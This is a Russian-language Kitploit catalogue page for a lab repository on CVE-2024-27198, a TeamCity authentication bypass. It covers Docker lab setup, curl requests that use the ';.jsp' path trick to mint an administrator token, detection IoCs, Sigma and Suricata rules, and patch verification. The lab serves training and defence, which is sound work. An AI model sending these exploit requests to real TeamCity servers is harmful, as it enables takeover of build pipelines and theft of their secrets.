Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-27198_LAB | Kitploit
Инструменты/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРазведка угрозОбнаружение ВторженийОбучение и ОбразованиеРеагирование на ИнцидентыАнализ ЖурналовЛаборатории и Практика
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Репозиторий

Лаборатория CVE-2024-27198

Описание

TeamCity предоставляет страницу управления токенами, доступную только администратору, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю создать токен доступа для администратора, если он сможет найти идентификатор существующего пользователя.


Детали CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Базовая оценка: 9.8 КРИТИЧЕСКИЙ
  • Вектор:
    • CVSS:3.1
    • AV:N Сеть
    • AC:L Низкий
    • PR:N Нет
    • UI:N Нет
    • S:U Без изменений
    • C:H Высокий
    • I:H Высокий
    • A:H Высокий

Анализ угроз и OSINT

Реальное воздействие и эксплуатация

  • Каталог CISA KEV: Добавлен 7 марта 2024 года, что подтверждает активную эксплуатацию в дикой природе.
  • Субъекты угроз: Эксплуатируется многочисленными группами программ-вымогателей и APT, в частности группировкой BianLian и вариантом Jasmin. Злоумышленники использовали этот обход для создания нелегитимных учётных записей администраторов, развёртывания вредоносных плагинов и выполнения произвольного кода (RCE) для латерального перемещения внутри сетей жертв.
  • Профиль цели: Конвейеры CI/CD являются высокоценными целями (атаки на цепочку поставок). Компрометация TeamCity позволяет злоумышленникам внедрять вредоносный код в сборки программного обеспечения, похищать исходный код и извлекать секреты развёртывания (ключи AWS, сертификаты).

Почему эта CVE критична

Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированному конечному пункту, злоумышленники могут обмануть веб-сервер TeamCity, заставив его направить запрос на аутентифицированную конечную точку, минуя фильтры безопасности. Это не требует никаких предварительных знаний или доступа, что делает эту уязвимость чистой оценкой 9.8 по CVSS.


Шаги для воспроизведения

Запустите контейнеры

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Откройте уязвимый экземпляр Teamcity по адресу http://localhost:8111. Откройте исправленный экземпляр Teamcity по адресу http://localhost:8112.


Страница входа

Имя пользователя:

root@kitploit:~
admin

Пароль:

root@kitploit:~
admin

Проверьте уязвимость

GET-запрос к ресурсу без аутентификации:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Оба должны вернуть ошибку со статусом 401.


Создание токена для администратора

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Это должно вернуть токен, похожий на этот (токен каждый раз разный):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Это должно вернуть ошибку со статусом 401, поскольку исправленный экземпляр не содержит уязвимости.


Проверка токена

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Должен вернуть список пользователей.


Удаление токена

  1. Перейдите на http://localhost:8111 под учётной записью администратора.
  2. Нажмите на значок профиля в правом верхнем углу.
  3. Перейдите в раздел Profile -> Access Tokens.
  4. Вы увидите токен "REDTEAM".
  5. Просто нажмите Delete рядом с токеном.

Blue Team: поиск IoCs в журналах (фактор скрытности)

Во время демонстрации в лаборатории можно показать важную находку для Blue Team: по умолчанию эта уязвимость невероятно скрытна!

  1. Журналы доступа Tomcat по умолчанию отключены в Docker-образе TeamCity, поэтому HTTP-запросы с ;.jsp не регистрируются.
  2. Журнал аудита TeamCity не регистрирует создание токенов через REST API.

Так как же её обнаружить? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой нелегитимный токен, чтобы скрыться, TeamCity регистрирует это.

Найдите злоумышленника, заметающего следы, в журналах аудита:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Вы увидите запись в журнале, указывающую, что токен "REDTEAM" был удалён).


Остановка контейнеров

root@kitploit:~
docker compose -f docker-compose.yml down

Смягчение и обнаружение

Технический анализ (CWE-288)

Эта уязвимость является примером CWE-288: Обход аутентификации с использованием альтернативного пути или канала. Проблема возникает из-за путаницы путей между веб-сервером Tomcat и маршрутизатором приложения TeamCity. Добавляя ;.jsp и передавая целевой REST API endpoint в параметре jsp=, первоначальный фильтр безопасности интерпретирует запрос как неаутентифицированный запрос к публичному .jsp-файлу (который разрешён). Однако внутренний маршрутизатор удаляет ;.jsp и перенаправляет запрос на ограниченный endpoint /app/rest/, не применяя фильтр аутентификации.

Легитимный сценарий использования (почему ; разрешён?): Tomcat использует символ точки с запятой (;) для матричных параметров. Исторически этот механизм применяется для передачи параметров непосредственно в пути, например, добавления JSESSIONID для поддержания состояния пользовательской сессии, когда файлы cookie отключены. Это нормальное, легитимное поведение веб-сервера в сочетании с некорректной проверкой маршрутизатором приложения TeamCity и создаёт уязвимость.

Индикаторы компрометации (IoCs)

Чтобы обнаружить текущую или прошлую компрометацию, Blue Teams должны обращать внимание на:

  1. Журналы веб-сервера: HTTP-запросы, нацеленные на endpoints /app/rest/, но содержащие аномальную строку ;.jsp в URI.
  2. Журналы аудита (teamcity-server.log): Необъяснимая генерация токенов доступа или создание новых учётных записей администратора.
  3. Системный уровень: Установка нераспознанных или подозрительных плагинов (часто используется злоумышленниками для повышения привилегий и достижения удалённого выполнения кода).

Обнаружение в журналах (правило Sigma)

Поскольку первоначальная эксплуатация по умолчанию скрытна, Blue Teams должны полагаться на обнаружение действий злоумышленника после эксплуатации, таких как заметание следов. Вот правило Sigma для вашего SIEM для обнаружения подозрительных удалений токенов:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

Живая демонстрация SIEM (Blue Team)

Чтобы доказать, что это обнаружение работает, запустите скрипт siem_simulator.py.

  1. Откройте второй терминал рядом с терминалом для эксплуатации.
  2. Убедитесь, что уязвимый контейнер запущен (docker compose up -d).
  3. Запустите симулятор:
root@kitploit:~
python3 siem_simulator.py
  1. В первом терминале запустите эксплойт, проверьте токен, а затем удалите токен через веб-интерфейс.
  2. Наблюдайте, как во втором терминале появится красное критическое предупреждение, показывающее, что правило Sigma обнаружило злоумышленника, заметающего следы!

Устранение уязвимости

  • Официальный патч: Обновите TeamCity до версии 2023.11.4 или выше, которая должным образом санирует и обеспечивает сопоставление маршрутов на бэкенде.
  • Обходной путь: Если установка патча невозможна, JetBrains выпустила плагин с исправлением безопасности, который можно установить на уязвимые экземпляры.

Сетевое обнаружение (правило Suricata / Snort)

Для обнаружения этой попытки эксплуатации в сети SOC может внедрить следующее правило IDS, которое ищет аномальный шаблон ;.jsp в сочетании с путями REST API:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Проверка исправленной версии (демонстрация в лаборатории)

Чтобы доказать, что смягчение работает, вы можете запустить тот же самый эксплойт против исправленного контейнера TeamCity, работающего на порту 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Поскольку патч строго обеспечивает сопоставление маршрутов и корректно санирует матричные параметры, обход не сработает. Вы должны увидеть ответ 401 Unauthorized или 404 Not Found вместо сгенерированного токена.


Ссылки

  • CVE-2024-27198
Скачать инструмент